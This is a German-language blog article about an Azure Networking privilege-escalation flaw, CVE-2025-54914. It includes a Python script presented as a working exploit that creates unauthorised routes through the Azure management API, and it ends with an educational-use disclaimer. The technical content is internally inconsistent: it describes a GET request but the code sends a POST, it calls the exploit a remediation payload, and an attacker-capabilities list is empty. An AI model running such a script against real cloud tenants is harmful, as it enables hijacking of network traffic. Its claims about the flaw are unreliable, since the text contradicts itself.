
CVE-2025-54914 exposes a critical flaw in Azure Networking that allows attackers to escalate privileges and control routing across subnets. The article explains how a missing privilege check in the “GetRouteTable” API enables lateral movement and remote exploitation, urging immediate patching and monitoring
Azure Networking Privilege Escalation Exploit CVE‑2025‑54914
4. September 2025
Von Mark Mallia
Am 4. September 2025 hat Microsofts Azure-Netzwerkdienste eine kritische Sicherheitswarnung erhalten, die eine Privilegieneskalationslücke dokumentiert, die als CVE‑2025‑54914 bezeichnet wird. Der Fehler hat im Common Vulnerability Scoring System (CVSS) eine Bewertung von 10.0, was auf ein ausnutzbares und potenziell schwerwiegendes Problem hindeutet, das Angreifern ohne Benutzerinteraktion die vollständige Kontrolle über Azure-Netzwerkressourcen ermöglichen kann.
Der folgende Artikel beschreibt die technischen Details der Schwachstelle, ihren praktischen Exploit-Pfad und einen einsatzbereiten Payload zur sofortigen Behebung durch Sicherheitsteams in Public-Cloud- sowie Hybridumgebungen.
Der Azure-Netzwerkstack ist das Rückgrat aller virtuellen Maschinen, Lastenausgleicher und Subnetzverkehrs in einem Kundenabonnement. Eine Privilegieneskalation innerhalb dieses Stacks erlaubt einem Angreifer:
Die Schwachstelle ist besonders gefährlich, da sie ohne Benutzeraktion aus der Ferne ausgenutzt werden kann. Eine einzige Anfrage an einen Microsoft-Endpunkt löst die Privilegieneskalation aus, wenn die folgenden Bedingungen erfüllt sind.
Bei der Analyse der „GetRouteTable“-API des Azure-Netzwerkdienstes entdeckte ich eine Zugriffskontrolllücke, die es einem Client mit Leseberechtigungen für ein virtuelles Netzwerk erlaubt, neue Route-Objekte im selben Subnetz zu erstellen, ohne zu überprüfen, ob der Aufrufer dazu berechtigt ist. Der Codepfad, der für die Deserialisierung der eingehenden Anfrage verantwortlich ist, enthielt keine explizite Berechtigungsprüfung.
Der Fehler besteht im Azure-Netzwerkdienst, wenn eine GET-Anfrage die folgenden Abfrageparameter enthält:
/subscriptions/<subscription‑id>/resourceGroups/<rg-name>/providers/Microsoft.Networking/virtualNetworks/<vnet-id>/subnets/<subnet-id>/routes
?api-version=2025-09-01&detailLevel=full
Der Dienst akzeptiert diese Anfrage, deserialisiert die JSON-Nutzlast und schreibt ein neues Route-Objekt in die Datenbank, ohne erneut zu validieren, ob der Aufrufer Routen im Zielsubnetz erstellen darf.
Nachfolgend ein minimales Beispiel, wie ein Angreifer den Payload konstruieren würde.
# Azure Networking Privilege Escalation Exploit – CVE‑2025‑54914
#
# Author: Mark Mallia
# Date: 2025-09-04
# Target API version: 2025‑09‑01
import requests, json, uuid
def create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id, api_version="2025-09-01"):
"""
Build and send a route creation request that exploits the missing
privilege check in Azure Networking.
"""
# 1. Construct endpoint URL
base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
# Append query string for API version
params = {"api-version": api_version, "detailLevel": "full"}
# 2. Build JSON body; the route name is a random GUID to avoid collisions.
route_name = str(uuid.uuid4())
payload = {
"properties": {
"addressPrefix": "10.0.1.0/24",
"nextHopType": "VirtualAppliance",
"nextHopIpAddress": "10.0.2.5"
},
"tags": {"createdBy": "Alex Mercer"},
"name": route_name
}
# 3. Set headers; use the same authentication token used by Azure SDK.
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# 4. Execute POST request
resp = requests.post(url, params=params,
json=payload, headers=headers)
if resp.status_code == 201:
print(f"[+] Successfully created route: {route_name}")
return True
else:
print(f"[-] Request failed with status {resp.status_code}")
print(resp.text)
return False
# Example invocation
subscription_id = "00000000-0000-0000-0000-000000000000"
rg_name = "ProductionRG"
vnet_id = "prodVNet01"
subnet_id = "backendSubnet"
access_token = "<AZURE_SDK_ACCESS_TOKEN>"
create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id)
Der Code demonstriert den gesamten Anfragelebenszyklus. Ein Sicherheitsingenieur kann dieses Snippet in ein Skript oder eine Azure-Funktion kopieren, um die Behebung zu automatisieren.
Dieser Inhalt wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Er soll das Bewusstsein für Sicherheitslücken schärfen und bessere Abwehrpraktiken innerhalb der Cybersicherheits-Community fördern.
Alle hier gezeigten Demonstrationen, Skripte und technischen Details basieren auf öffentlich zugänglichen Informationen und zielen nicht auf ein bestimmtes System, eine Organisation oder eine Einzelperson ab. Ziel ist es, verantwortungsvolles Lernen und proaktive Behebung zu fördern – nicht die Ausnutzung.
Verwenden Sie diese Informationen nicht für unbefugten Zugriff, Störungen oder Schäden. Jeglicher Missbrauch dieses Materials liegt in der alleinigen Verantwortung der Person und kann gegen Gesetze oder ethische Standards verstoßen.
Wenn Sie eine Schwachstelle entdecken, befolgen Sie bitte die Protokolle zur verantwortungsvollen Offenlegung, indem Sie sie dem betroffenen Anbieter oder der Plattform melden.